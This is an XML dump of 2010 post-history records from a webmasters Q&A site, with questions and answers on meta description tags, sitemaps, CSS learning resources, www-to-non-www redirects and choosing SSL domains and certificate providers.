  <row Id="3196" PostHistoryTypeId="2" PostId="1724" RevisionGUID="9b7fe7f2-839c-4e5f-ba9e-b83337869f13" CreationDate="2010-07-29T19:42:38.933" UserId="3" Text="&gt; There seems to be some evidence that the meta description is useful at least for some search engines.&#xD;&#xA;&#xD;&#xA;In general, meta tags are not useful. Google is over 90% of our traffic, and they only use the meta for site summary in the case where you aren't listed in DMOZ. &#xD;&#xA;&#xD;&#xA;http://googlewebmastercentral.blogspot.com/2009/09/google-does-not-use-keywords-meta-tag.html&#xD;&#xA;&#xD;&#xA;&gt;  For example, we do sometimes use the &quot;description&quot; meta tag as the text for our search results snippets, as this screenshot shows:&#xD;&#xA;&#xD;&#xA;&gt; &lt;img src=&quot;http://3.bp.blogspot.com/_oFOUEFf8v5U/SreTc15eFTI/AAAAAAAAAAc/utP7-ckTeog/s400/meta-description.png&quot;&gt;&#xD;&#xA;&#xD;&#xA;&gt; Even though we sometimes use the description meta tag for the snippets we show, we still don't use the description meta tag in our ranking.&#xD;&#xA;&#xD;&#xA;We are listed in DMOZ so **I see no reason to have 100+ bytes of meta site description in every page we serve over the wire.** The benefit is trivial, and the aggregate impact is large.&#xD;&#xA;&#xD;&#xA;&gt; As an aside, when you google &quot;stackoverflow&quot;, where does the &quot;A language-independent collaboratively ..&quot; description get pulled from?&#xD;&#xA;&#xD;&#xA;See here:  &#xD;&#xA;http://webmasters.stackexchange.com/questions/634/does-an-entry-in-dmoz-significantly-help-the-ranking-of-a-web-site/640#640" />
  <row Id="3197" PostHistoryTypeId="5" PostId="1722" RevisionGUID="30ef34a5-493e-4694-8a02-b7eaadc536f5" CreationDate="2010-07-29T19:45:21.233" UserId="480" Comment="added 525 characters in body" Text="You can try your luck with the [&amp;lt;link&amp;gt; tag][1] and a [sitemap][2].&#xD;&#xA;&#xD;&#xA;For the &amp;lt;link&amp;gt; tag you could try:&#xD;&#xA;&#xD;&#xA;    &lt;link charset=&quot;utf-8&quot;&#xD;&#xA;          href=&quot;/somewhere&quot;&#xD;&#xA;          media=&quot;all&quot;&#xD;&#xA;          rel=&quot;glossary&quot;&#xD;&#xA;          rev=&quot;subsection&quot;&#xD;&#xA;          target=&quot;_top&quot;&#xD;&#xA;          type=&quot;text/html&quot; /&gt;&#xD;&#xA;&#xD;&#xA;The bottom line is that the effect will be site specific and only trial and error will determine whether it is a good idea for your site or not. The &amp;lt;link&amp;gt; tags may become more acceptable to search engines in the future i.e. it took until 2009 for a public announcement from Google, Microsoft and Yahoo! on canonical.&#xD;&#xA;&#xD;&#xA;You may want to review the use of Flash for a map and look at [Google Charts][3] which, with some clever JavaScript can turn a list of linked locations into a chart on demand. If you add Flash detection into the mix you can cater to the JavaScript disabled, the Flash disabled and the Flash enriched all at the same time. This is regardless of whether you use the &amp;lt;link&amp;gt; tags or not. Doubt any search engine can miss that lot.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3schools.com/tags/tag_link.asp&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=183668&#xD;&#xA;  [3]: http://blog.programmableweb.com/2008/04/11/google-chart-apis-new-schematic-maps/" />
  <row Id="3198" PostHistoryTypeId="2" PostId="1725" RevisionGUID="f9ec8859-b629-4196-9034-6fd8994e902a" CreationDate="2010-07-29T19:52:28.970" UserId="108" Text="first off, @DigruntledGoat's idea of using the `&lt;object&gt;` tag is also fantastic as it allows users who don't have flash, like iPhone/iPad users to have easy access to those pages.&#xD;&#xA;&#xD;&#xA;The implication of only including those links in Flash is those pages will not be index by Google.  So Google won't know they exist.  &#xD;&#xA;&#xD;&#xA;Putting the pages in your sitemap.xml is a good start.  I would also add them to your Site Map page in your site so Google finds them that way as well.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3199" PostHistoryTypeId="5" PostId="141" RevisionGUID="1d150ee6-049c-4dc3-bc25-ad94d609f2c7" CreationDate="2010-07-29T20:29:34.233" UserId="3" Comment="added 418 characters in body" Text="Thats a good question, asked hundreds of times... Andy Clark says it best &#xD;&#xA;&#xD;&#xA;http://forabeautifulweb.com/blog/about/universal_internet_explorer_6_css &#xD;&#xA;&#xD;&#xA;&gt; 1. Design for better browsers, then design alternative solutions to handle IE6 bugs&#xD;&#xA;&gt; 2. Write a remedial IE6 stylesheet to address layout issues&#xD;&#xA;&gt; 3. Use JavaScript to bootstrap CSS support in IE6&#xD;&#xA;&gt; 4. Make your site look exactly the same in IE6 as in any other browser&#xD;&#xA;&gt; 5. Develop to better browsers and spend no development time or testing for IE6&#xD;&#xA;&gt; 6. Block IE6 users from seeing your site's styles" />
  <row Id="3200" PostHistoryTypeId="2" PostId="1726" RevisionGUID="6e6efa63-4463-4e0d-a40d-2cdc6714f37c" CreationDate="2010-07-29T20:45:29.513" UserId="1129" Text="This question may end up being moved, but in the mean time: &#xD;&#xA;&#xD;&#xA;Simply redefining the style rule with a portion left out, or commented out, will not cause that attribute (width, in this case) to return to default. It will be inherited from the existing rule, since it's not explicitly defined in your new rule. &#xD;&#xA;&#xD;&#xA;In the new rule, you'll have to actually set `width` to the value you want.&#xD;&#xA;&#xD;&#xA;But since `width` is set to 'auto', it seems a little strange that you'd just want to leave it out. Maybe you're trying to achieve some effect that I missed in your question. " />
  <row Id="3201" PostHistoryTypeId="5" PostId="1434" RevisionGUID="bd1db9a9-29ac-41c7-a112-3cbcf0c64c12" CreationDate="2010-07-29T21:10:54.477" UserId="26" Comment="strikeout on the non-relevant answers" Text="Some ideas :&#xD;&#xA;&#xD;&#xA; - [**Amaya**][1] by W3C , open source&#xD;&#xA; - &lt;strike&gt;**[WYSWYGPro][2]** can be embedded on a web page - No desktop software&lt;/strike&gt; (does not do task requested)&#xD;&#xA; - &lt;strike&gt;**[TinyMCE][3]** Javascript WYSIWYG editor - No desktop software&lt;/strike&gt; (does not do task requested)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I haven't any personal experience with any of them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/Amaya/Overview.html&#xD;&#xA;  [2]: http://www.wysiwygpro.com/&#xD;&#xA;  [3]: http://tinymce.moxiecode.com/" />
  <row Id="3202" PostHistoryTypeId="2" PostId="1727" RevisionGUID="be321044-bd36-4ffd-aaf7-6b10136497dd" CreationDate="2010-07-29T21:24:29.053" UserId="26" Text="From: [Microsoft Advertising][1] &gt; Advertisers &gt; adCenter Advertiser&#xD;&#xA;&#xD;&#xA;[**Bing sponsored ads not showing**][2]&#xD;&#xA;&#xD;&#xA;&gt; About finding your text ad in search&#xD;&#xA;&gt; results&#xD;&#xA;&gt; &#xD;&#xA;&gt; To find your text ad on Bing results&#xD;&#xA;&gt; pages, use the [Ad Preview Tool][3]. If you&#xD;&#xA;&gt; can't find your ad, try these&#xD;&#xA;&gt; troubleshooting tips: &#xD;&#xA;&gt; &#xD;&#xA;&gt;    1. Did you recently submit your ad group, ads, and keywords?&#xD;&#xA;&gt; &#xD;&#xA;&gt;       If you can't find a recently submitted ad in the search results,&#xD;&#xA;&gt; wait a few hours and then check again.&#xD;&#xA;&gt; Sometimes there is a delay between the&#xD;&#xA;&gt; time you submitted your ad and the&#xD;&#xA;&gt; time it is displayed.&#xD;&#xA;&gt;    2. Have you checked successive search results pages?&#xD;&#xA;&gt; &#xD;&#xA;&gt;       Be sure to check the second, third, or even fourth page of Bing&#xD;&#xA;&gt; results.&#xD;&#xA;&gt;    3. Are your account, campaign, and ad group active?&#xD;&#xA;&gt; &#xD;&#xA;&gt;       Although you may have given us your credit card information, it's a&#xD;&#xA;&gt; good idea to double-check your account&#xD;&#xA;&gt; status. The Accounts &amp; Billing page&#xD;&#xA;&gt; shows the status of your accounts.&#xD;&#xA;&gt; &#xD;&#xA;&gt;       Select a campaign or ad group to check its status. Campaigns and ad&#xD;&#xA;&gt; groups that are live have a status of&#xD;&#xA;&gt; Active.&#xD;&#xA;&gt;    4. Are your ads and keywords active?&#xD;&#xA;&gt; &#xD;&#xA;&gt;       Click the Ads tab or Keywords tab to view the status of ads or&#xD;&#xA;&gt; keywords. Ads and keywords that are&#xD;&#xA;&gt; Active are approved and live. Ads with&#xD;&#xA;&gt; Inactive status are not live during&#xD;&#xA;&gt; the review process. Note that both the&#xD;&#xA;&gt; ad and the keywords must be active. If&#xD;&#xA;&gt; a keyword that is associated with your&#xD;&#xA;&gt; ad is inactive or disapproved, your ad&#xD;&#xA;&gt; will not be displayed in search&#xD;&#xA;&gt; results.&#xD;&#xA;&gt;    5. Does your ad campaign still have budget?&#xD;&#xA;&gt; &#xD;&#xA;&gt;       Review the Change campaign settings page to see how much budget&#xD;&#xA;&gt; you have available or whether an ad&#xD;&#xA;&gt; group has the status Budget Paused&#xD;&#xA;&gt; because you reached your budget limit.&#xD;&#xA;&gt; For more information, see How campaign&#xD;&#xA;&gt; budget limits affect ad display.&#xD;&#xA;&gt;    6. Are you dividing your campaign budget across the month?&#xD;&#xA;&gt; &#xD;&#xA;&gt;       Microsoft adCenter provides two options for spending your campaign&#xD;&#xA;&gt; budget:&#xD;&#xA;&gt;           - Spend until depleted&#xD;&#xA;&gt;           - Divide your budget across the month&#xD;&#xA;&gt;&#xD;&#xA;&gt;       If you're using the second option, your ad is unlikely to be&#xD;&#xA;&gt; displayed with every search. To see&#xD;&#xA;&gt; your ad, you might have to search&#xD;&#xA;&gt; multiple times.&#xD;&#xA;&gt;    7. Does your ad group have target settings?&#xD;&#xA;&gt; &#xD;&#xA;&gt;       If the ad group is targeted to specific geographical locations, times&#xD;&#xA;&gt; of day, or other target settings, you&#xD;&#xA;&gt; might not see it if you don't meet the&#xD;&#xA;&gt; targeting criteria. For example, you&#xD;&#xA;&gt; might be in a different city than the&#xD;&#xA;&gt; one you're targeting.&#xD;&#xA;&gt; &#xD;&#xA;&gt;       Some web services offer public proxy servers, making it possible for&#xD;&#xA;&gt; you to see your ads by using their&#xD;&#xA;&gt; servers. Check the Internet for these&#xD;&#xA;&gt; web services and instructions for how&#xD;&#xA;&gt; to view your ads by using the specific&#xD;&#xA;&gt; service. For more information, see&#xD;&#xA;&gt; About targeting.&#xD;&#xA;&gt;    8. Does your search use the same keyword search match types that you&#xD;&#xA;&gt; defined for the ad?&#xD;&#xA;&gt; &#xD;&#xA;&gt;       Make sure that your search takes into account your keyword match types:&#xD;&#xA;&gt; broad match (The broadest keyword&#xD;&#xA;&gt; matching option. If customers search&#xD;&#xA;&gt; by using the words in your keyword&#xD;&#xA;&gt; list, in any order, your ad will&#xD;&#xA;&gt; display. Broad match can also trigger&#xD;&#xA;&gt; displays for synonyms, plurals, and&#xD;&#xA;&gt; related phrases, even when they're not&#xD;&#xA;&gt; in your keyword list.) , phrase match&#xD;&#xA;&gt; (A keyword option that considers your&#xD;&#xA;&gt; keyword a match with a customer's&#xD;&#xA;&gt; search query if the query includes all&#xD;&#xA;&gt; words in the exact order given, even&#xD;&#xA;&gt; in combination with other words. For&#xD;&#xA;&gt; example, &quot;toy plane&quot; is a phrase match&#xD;&#xA;&gt; with &quot;toy plane&quot; and &quot;wooden toy&#xD;&#xA;&gt; plane&quot; but not with &quot;toy wooden&#xD;&#xA;&gt; plane.&quot;) , exact match (The most&#xD;&#xA;&gt; focused keyword matching option. When&#xD;&#xA;&gt; you choose exact matching for a&#xD;&#xA;&gt; keyword, your ad will appear only when&#xD;&#xA;&gt; that exact keyword is entered with no&#xD;&#xA;&gt; other keywords.) , and negative&#xD;&#xA;&gt; keywords (A specific word or phrase&#xD;&#xA;&gt; that helps to prevent your ad from&#xD;&#xA;&gt; being displayed to customers who are&#xD;&#xA;&gt; unlikely to click your ad.) . For more&#xD;&#xA;&gt; information, see About search match&#xD;&#xA;&gt; types.&#xD;&#xA;&gt;    9. Does your search use the same language settings as your ad group&#xD;&#xA;&gt; language and market setting?&#xD;&#xA;&gt; &#xD;&#xA;&gt;       For example, if your ad group's language and market (A set of websites&#xD;&#xA;&gt; that is typically defined by a&#xD;&#xA;&gt; geographical region, but can be&#xD;&#xA;&gt; accessed by everyone regardless of&#xD;&#xA;&gt; where they are located.) setting is&#xD;&#xA;&gt; English - United States and you are&#xD;&#xA;&gt; searching www.bing.com with English&#xD;&#xA;&gt; (United Kingdom) language settings,&#xD;&#xA;&gt; you will not see your ads. To change&#xD;&#xA;&gt; your Bing language settings, go to&#xD;&#xA;&gt; www.bing.com, click Options, and&#xD;&#xA;&gt; select the correct language.&#xD;&#xA;&gt;   10. Does your search return any organic search results?&#xD;&#xA;&gt; &#xD;&#xA;&gt;       If a keyword does not trigger any organic search results, it will&#xD;&#xA;&gt; not trigger paid results either. In&#xD;&#xA;&gt; that case, try using a different&#xD;&#xA;&gt; keyword from the same ad group.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Using the Ad Preview Tool The Ad&#xD;&#xA;&gt; Preview Tool displays a Bing search&#xD;&#xA;&gt; results page and Microsoft adCenter&#xD;&#xA;&gt; ads for the keyword you specify. You&#xD;&#xA;&gt; can use the tool to see which ads are&#xD;&#xA;&gt; being displayed for a particular&#xD;&#xA;&gt; keyword without affecting the&#xD;&#xA;&gt; impressions (An ad that is served to&#xD;&#xA;&gt; and displayed on a user's browser.) or&#xD;&#xA;&gt; CTR (Click-through rate.The ratio of&#xD;&#xA;&gt; the number of times an ad is clicked&#xD;&#xA;&gt; to the number of times the ad is&#xD;&#xA;&gt; displayed. ) of your campaign.&#xD;&#xA;&gt; &#xD;&#xA;&gt;    1. Click the Tools tab, and then click Ad Preview Tool.&#xD;&#xA;&gt;    2. On the Ad Preview Tool page, type the keyword for which you want to&#xD;&#xA;&gt; find search ads, and then click&#xD;&#xA;&gt; Preview Ads.&#xD;&#xA;&gt;    3. If you see a security message, do one of the following:&#xD;&#xA;&gt;           * If the message says Do you want to view only the webpage content&#xD;&#xA;&gt; that was delivered securely, click No&#xD;&#xA;&gt; to proceed.&#xD;&#xA;&gt;           * If the message says This page contains both secure and&#xD;&#xA;&gt; nonsecure items, click Yes to proceed.&#xD;&#xA;&gt; &#xD;&#xA;&gt; You might not see your ad on the&#xD;&#xA;&gt; search results page in the Ad Preview&#xD;&#xA;&gt; Tool for the following reasons:&#xD;&#xA;&gt; &#xD;&#xA;&gt;   - The tool shows ads as they appear to an average searcher. So, for&#xD;&#xA;&gt; example, if you are using targeting by&#xD;&#xA;&gt; geographical location, and your ads&#xD;&#xA;&gt; appear only to a small percentage of&#xD;&#xA;&gt; searchers, these ads might not appear&#xD;&#xA;&gt; in Ad Preview Tool.&#xD;&#xA;&gt;&#xD;&#xA;&gt;   - You are being outbid on your keywords by other advertisers, or your&#xD;&#xA;&gt; ad relevance is not high enough to&#xD;&#xA;&gt; outperform ads of other advertisers.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://community.microsoftadvertising.com/&#xD;&#xA;  [2]: http://community.microsoftadvertising.com/forums/t/5251.aspx&#xD;&#xA;  [3]: https://adcenterhelp.microsoft.com/Help.aspx?market=en-CA&amp;project=adCenter_live_Std&amp;querytype=topic&amp;query=MOONSHOT_PROC_UsingAdPreviewTool.htm" />
  <row Id="3203" PostHistoryTypeId="2" PostId="1728" RevisionGUID="dc3b77b4-792e-4009-b699-a143d6650dbd" CreationDate="2010-07-29T21:35:45.767" UserId="1133" Text="I used to play around with CSS and 5 years later here I am. I don't have a clue of nowdays CSS means.&#xD;&#xA;&#xD;&#xA;I was wondering if you guys knows what are the best resources to learn CSS and good CSS books. I would like books that covered the basics and a little advanced.&#xD;&#xA;&#xD;&#xA;1 answer per post please.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="3204" PostHistoryTypeId="1" PostId="1728" RevisionGUID="dc3b77b4-792e-4009-b699-a143d6650dbd" CreationDate="2010-07-29T21:35:45.767" UserId="1133" Text="Good CSS Books/Resource" />
  <row Id="3205" PostHistoryTypeId="3" PostId="1728" RevisionGUID="dc3b77b4-792e-4009-b699-a143d6650dbd" CreationDate="2010-07-29T21:35:45.767" UserId="1133" Text="&lt;css&gt;&lt;css-framework&gt;" />
  <row Id="3206" PostHistoryTypeId="2" PostId="1729" RevisionGUID="a8e1e1c7-64b2-40cc-961d-473239473235" CreationDate="2010-07-29T22:04:08.023" UserId="26" Text="This is a *great* thread from StackOverflow: [**What is the best book on CSS?**][1]&#xD;&#xA;&#xD;&#xA;Also, I'm particularly fond of [**CSS Mastery: Advanced Web Standards Solutions**][2]. It does a really nice job of explaining some of the peculiar things in CSS as though they make sense!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/199486/what-is-the-best-book-on-css&#xD;&#xA;  [2]: http://www.amazon.com/CSS-Mastery-Advanced-Standards-Solutions/dp/1430223979/ " />
  <row Id="3207" PostHistoryTypeId="19" PostId="9" RevisionGUID="1d962a12-dafe-4a02-9ea5-fc3ecc6ca968" CreationDate="2010-07-29T23:15:07.707" UserId="55" Text="[{&quot;Id&quot;:55,&quot;DisplayName&quot;:&quot;Tim Post&quot;}]" />
  <row Id="3208" PostHistoryTypeId="2" PostId="1730" RevisionGUID="33279d2c-7127-4f90-8c7d-941a2fbbc327" CreationDate="2010-07-30T00:28:26.697" UserId="67" Text="Keep these two links FOREVER in your bookmark bar, they will serve you well:&#xD;&#xA;&#xD;&#xA;CSS Selectors and charts of browser support:&#xD;&#xA;http://kimblim.dk/css-tests/selectors/&#xD;&#xA;&#xD;&#xA;CSS Selectors and hacks to target specific browsers:&#xD;&#xA;http://www.webdevout.net/css-hacks#in_css-selectors" />
  <row Id="3209" PostHistoryTypeId="2" PostId="1731" RevisionGUID="19ea23aa-9b94-4313-8240-21dc5b6de9ea" CreationDate="2010-07-30T00:41:38.307" UserId="67" Text="Hostgator hasn't been bad to me and my company. They're cheap, reliable, and their customer service is excellent. If you need to scale up or down, they can accommodate your needs pretty well." />
  <row Id="3210" PostHistoryTypeId="16" PostId="1731" RevisionGUID="19ea23aa-9b94-4313-8240-21dc5b6de9ea" CreationDate="2010-07-30T00:41:38.307" UserId="-1" />
  <row Id="3211" PostHistoryTypeId="2" PostId="1732" RevisionGUID="ac2f9c8b-9189-463e-9b29-cdeea41d573f" CreationDate="2010-07-30T02:45:54.147" UserId="1079" Text="[w3schools][1] has a nice tutorial.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3schools.com/css/" />
  <row Id="3212" PostHistoryTypeId="2" PostId="1733" RevisionGUID="1c146e92-0756-4bfd-a363-5169551844e8" CreationDate="2010-07-30T05:15:54.733" UserId="138" Text="We've got a website that is served on both `www.example.com` and just `example.com` - we've never done any sort of forcing users from one domain to the other, so if they land on `example.com` then that's where they stay, and I'm guessing that of those who bookmark our pages they'd be about a 50/50 split (there was an issue earlier on where some of our material omitted the WWW and years later we're still noticing a traffic split).&#xD;&#xA;&#xD;&#xA;We're now adding SSL. We're not forcing SSL until the user hits the logon or register page. Which domain should we run our SSL on?&#xD;&#xA;&#xD;&#xA;- `www.example.com`&#xD;&#xA;- `example.com`&#xD;&#xA;- `secure.example.com`&#xD;&#xA;- something else?&#xD;&#xA;&#xD;&#xA;I've done plenty of SSL sites before, but they were always designed with SSL in mind, and we always forced the www subdomain.&#xD;&#xA;&#xD;&#xA;Are there pros and cons of doing it any of those ways? My primary concern is about the recognition of cookies, but seeing as we're forcing SSL on logon, the session cookie will be written on the SSL'd domain anyway. My primary concern is for people who might go to `https://example.com` when we're running the site on `https://www.example.com`, etc.&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;Another question would be, &quot;Should I rewrite those who land on the non-www site to the WWW site?&lt;/sub&gt;" />
  <row Id="3213" PostHistoryTypeId="1" PostId="1733" RevisionGUID="1c146e92-0756-4bfd-a363-5169551844e8" CreationDate="2010-07-30T05:15:54.733" UserId="138" Text="Choosing which domain to secure" />
  <row Id="3214" PostHistoryTypeId="3" PostId="1733" RevisionGUID="1c146e92-0756-4bfd-a363-5169551844e8" CreationDate="2010-07-30T05:15:54.733" UserId="138" Text="&lt;ssl&gt;" />
  <row Id="3215" PostHistoryTypeId="5" PostId="1722" RevisionGUID="fe83feca-9011-41ce-841f-5e0e88fab513" CreationDate="2010-07-30T05:17:12.470" UserId="480" Comment="edited body" Text="You can try your luck with the [&amp;lt;link&amp;gt; tag][1] and a [sitemap][2].&#xD;&#xA;&#xD;&#xA;For the &amp;lt;link&amp;gt; tag you could try:&#xD;&#xA;&#xD;&#xA;    &lt;link charset=&quot;utf-8&quot;&#xD;&#xA;          href=&quot;/somewhere&quot;&#xD;&#xA;          media=&quot;all&quot;&#xD;&#xA;          rel=&quot;subsection&quot;&#xD;&#xA;          rev=&quot;glossary&quot;&#xD;&#xA;          target=&quot;_top&quot;&#xD;&#xA;          type=&quot;text/html&quot; /&gt;&#xD;&#xA;&#xD;&#xA;The bottom line is that the effect will be site specific and only trial and error will determine whether it is a good idea for your site or not. The &amp;lt;link&amp;gt; tags may become more acceptable to search engines in the future i.e. it took until 2009 for a public announcement from Google, Microsoft and Yahoo! on canonical.&#xD;&#xA;&#xD;&#xA;You may want to review the use of Flash for a map and look at [Google Charts][3] which, with some clever JavaScript can turn a list of linked locations into a chart on demand. If you add Flash detection into the mix you can cater to the JavaScript disabled, the Flash disabled and the Flash enriched all at the same time. This is regardless of whether you use the &amp;lt;link&amp;gt; tags or not. Doubt any search engine can miss that lot.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3schools.com/tags/tag_link.asp&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=183668&#xD;&#xA;  [3]: http://blog.programmableweb.com/2008/04/11/google-chart-apis-new-schematic-maps/" />
  <row Id="3216" PostHistoryTypeId="2" PostId="1734" RevisionGUID="54e2fca8-db2c-4c17-bf94-15c94ea80c90" CreationDate="2010-07-30T05:20:13.090" UserId="138" Text="I'm **not** an advocate of the [no-www movement][1]. I like the www because it adds as a buffer to distinguish between our public and private/static sites.&#xD;&#xA;&#xD;&#xA;The problem is that [with one of our sites][2], our traffic is split pretty much 50/50 between those that use our www and those that don't.&#xD;&#xA;&#xD;&#xA;Should I bother rewriting those who hit our non-www site to our WWW site? Or should I just leave them alone? All our google SEO whatnot is on our www site, so I'm not concerned about any of that, only about user perception.&#xD;&#xA;&#xD;&#xA;Has anyone here had this problem before? I'm not concerned about the technial aspect (that's easy with a quick rewrite rule), primarily the social side.&#xD;&#xA;&#xD;&#xA;  [1]: http://no-www.org/&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/1733/choosing-which-domain-to-secure" />
  <row Id="3217" PostHistoryTypeId="1" PostId="1734" RevisionGUID="54e2fca8-db2c-4c17-bf94-15c94ea80c90" CreationDate="2010-07-30T05:20:13.090" UserId="138" Text="Removing non-www support" />
  <row Id="3218" PostHistoryTypeId="3" PostId="1734" RevisionGUID="54e2fca8-db2c-4c17-bf94-15c94ea80c90" CreationDate="2010-07-30T05:20:13.090" UserId="138" Text="&lt;www&gt;&lt;no-www&gt;" />
  <row Id="3219" PostHistoryTypeId="2" PostId="1735" RevisionGUID="9c8f9064-1278-4e1d-a395-e1139c4f24be" CreationDate="2010-07-30T05:28:49.143" UserId="1034" Text="Google will use your meta tag description for the listing, even if you are listed in DMOZ. &#xD;&#xA;&#xD;&#xA;It will probably NOT help you rank higher, but it makes a lot of difference when it comes to conversion. That meta tag description is what people read when they decide to click on your website in the SERP. &#xD;&#xA;&#xD;&#xA;When I search for something on Google, about 4 results appear on my screen in Firefox, and 6 in Chrome (I have to scroll down to see the rest). Which of these results I click on depends mostly on the title and the description. IF these results don't seem to be what I am looking for, I will scroll down for more. &#xD;&#xA;&#xD;&#xA;Treat that metatag description as a free text ad for the page. " />
  <row Id="3220" PostHistoryTypeId="2" PostId="1736" RevisionGUID="c5104346-8ce3-4636-9c8b-a5163e24c3b2" CreationDate="2010-07-30T06:18:39.673" UserId="180" Text="I think folks are pretty-much used to it, especially those typing in URLs. I modified my primary hobby site to redirect from non-www to www a few years ago and didn't see any negative impact in traffic or user comments.  YMMV of course ;)&#xD;&#xA;&#xD;&#xA;One comment on the rewrite rule. Be careful if you are rewriting at multiple levels of your site with .htaccess files. I learned the hard way (split PR) that although some .htaccess rules inherit, mod_rewrite doesn't (at least not by default). " />
  <row Id="3221" PostHistoryTypeId="2" PostId="1737" RevisionGUID="0c851f60-a382-4335-a46a-49db69d847f2" CreationDate="2010-07-30T06:32:11.813" UserId="745" Text="Either way is fine from a user perspective, as long as both work when you type them in the address bar. The *problem* is having both without redirecting one to the other. Google and other search engines will count www.example.com and example.com as two different URLS. This, along with inconsistently ordered URL parameters, is one of the major causes of duplicate content. If people are linking to both the www and non-www versions of pages, you're effectively diluting your PageRank between two different pages with the same content. &#xD;&#xA;&#xD;&#xA;Since most of your Google traffic is coming through the www version, I'd 301 redirect the non-www to the www URLs. By doing it that way, you lose less potential PageRank through the 301 than you would the other way around." />
  <row Id="3222" PostHistoryTypeId="2" PostId="1738" RevisionGUID="add4aebc-39ac-4c48-b687-081d64c8dbfd" CreationDate="2010-07-30T07:08:19.370" UserId="210" Text="I would recommend redirecting all users to www. If you ever want to do any static file hosting then you don't have to worry about cookies is probably my biggest reason.&#xD;&#xA;&#xD;&#xA;I've have a few clients who advertise their site without www, but I redirect the users to www and have Google index with www. I haven't had anyone complain.&#xD;&#xA;&#xD;&#xA;Here is what I've put in my .htaccess files:&#xD;&#xA;&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;        # for www&#xD;&#xA;        RewriteCond %{HTTP_HOST}   !^www\.example\.com [NC]&#xD;&#xA;        RewriteRule ^(.*)          http://www.example.com/$1 [L,R]&#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;&#xD;&#xA;I haven't had any problems with this yet." />
  <row Id="3223" PostHistoryTypeId="2" PostId="1739" RevisionGUID="463a01f0-6e57-4a62-aa08-34ab12902ad3" CreationDate="2010-07-30T07:14:41.043" UserId="210" Text="Personally I just use [DigiCert's SSL Plus][1] certificate with does with example.com and www.example.com. As in your other question, I would still send everyone to www.example.com because it makes life easier later on. Doing this now, will also give you the opportunity to use something like secure.example.com later on.&#xD;&#xA;&#xD;&#xA;I usually add code to detect if users are running HTTP when they should be running HTTPS and redirect them. I find this usually only happens during login, but depending on the site, it could happen other times too.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.digicert.com/welcome/ssl-plus.htm" />
  <row Id="3224" PostHistoryTypeId="2" PostId="1740" RevisionGUID="9349e059-0c11-4b79-8a3d-d02387444c1b" CreationDate="2010-07-30T07:29:10.757" UserId="231" Text="I'm working on a services type web application and I have to choose how to set up the URLs for the customers. Which solution is better, as a subdomain (e.g.: client.myservice.com) or as a folder (e.g.: myservice.com/client/) ?&#xD;&#xA;&#xD;&#xA;I'm not interested in the SEO value (for the SEO it's better to choose the folders), but the tech/scale/admin aspects.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="3225" PostHistoryTypeId="1" PostId="1740" RevisionGUID="9349e059-0c11-4b79-8a3d-d02387444c1b" CreationDate="2010-07-30T07:29:10.757" UserId="231" Text="Subdomains or folders?" />
  <row Id="3226" PostHistoryTypeId="3" PostId="1740" RevisionGUID="9349e059-0c11-4b79-8a3d-d02387444c1b" CreationDate="2010-07-30T07:29:10.757" UserId="231" Text="&lt;web-development&gt;&lt;url-format&gt;" />
  <row Id="3227" PostHistoryTypeId="2" PostId="1741" RevisionGUID="7dc6d7d6-00e5-482d-a7ff-3e9b21bfaf2e" CreationDate="2010-07-30T08:21:32.427" UserId="771" Text="From a maintenance aspect, folders are much easier to handle than subdomains. But most app like highrise or basecamp have their own subdomains per client. Seems like that looks a bit sexier." />
  <row Id="3228" PostHistoryTypeId="2" PostId="1742" RevisionGUID="132df438-385b-4baa-8077-35b829dd131c" CreationDate="2010-07-30T08:25:47.393" UserId="231" Text="I need a SSL certificate for a new site I'm building and I have to choose a SSL provider. What to look for when choosing and what's your experience dealing with them?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="3229" PostHistoryTypeId="1" PostId="1742" RevisionGUID="132df438-385b-4baa-8077-35b829dd131c" CreationDate="2010-07-30T08:25:47.393" UserId="231" Text="SSL certificate provider" />
  <row Id="3230" PostHistoryTypeId="3" PostId="1742" RevisionGUID="132df438-385b-4baa-8077-35b829dd131c" CreationDate="2010-07-30T08:25:47.393" UserId="231" Text="&lt;ssl&gt;&lt;ssl-certificate&gt;" />
  <row Id="3231" PostHistoryTypeId="2" PostId="1743" RevisionGUID="b0c2cedd-08e4-48c0-a5b5-07f17a3cd135" CreationDate="2010-07-30T08:26:08.267" UserId="480" Text="In our experience here (which is mostly UK-only) users will type in a sub-domain, however they will leave off anything after the domain (like folders). The forward-slash is cumbersome in use as general site visitors get confused with back slashes and just visit the main site to try and find what they want - completely ignoring the rest of the URL.&#xD;&#xA;&#xD;&#xA;Having said that though - we also have a glut of users who, despite instruction to the contrary, will **always** type in www. before any domain that is given.&#xD;&#xA;&#xD;&#xA;Our simple advice would be to use sub-domains but also create www. sub-domains hanging off each entry." />
  <row Id="3232" PostHistoryTypeId="2" PostId="1744" RevisionGUID="2bd3d11e-e712-4cf7-8f5b-aaeee656a552" CreationDate="2010-07-30T08:31:34.820" UserId="1140" Text="[www.csszengarden.com][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.csszengarden.com" />
  <row Id="3233" PostHistoryTypeId="16" PostId="1729" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-07-30T09:07:01.397" UserId="55" />
  <row Id="3234" PostHistoryTypeId="16" PostId="1730" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-07-30T09:07:01.397" UserId="55" />
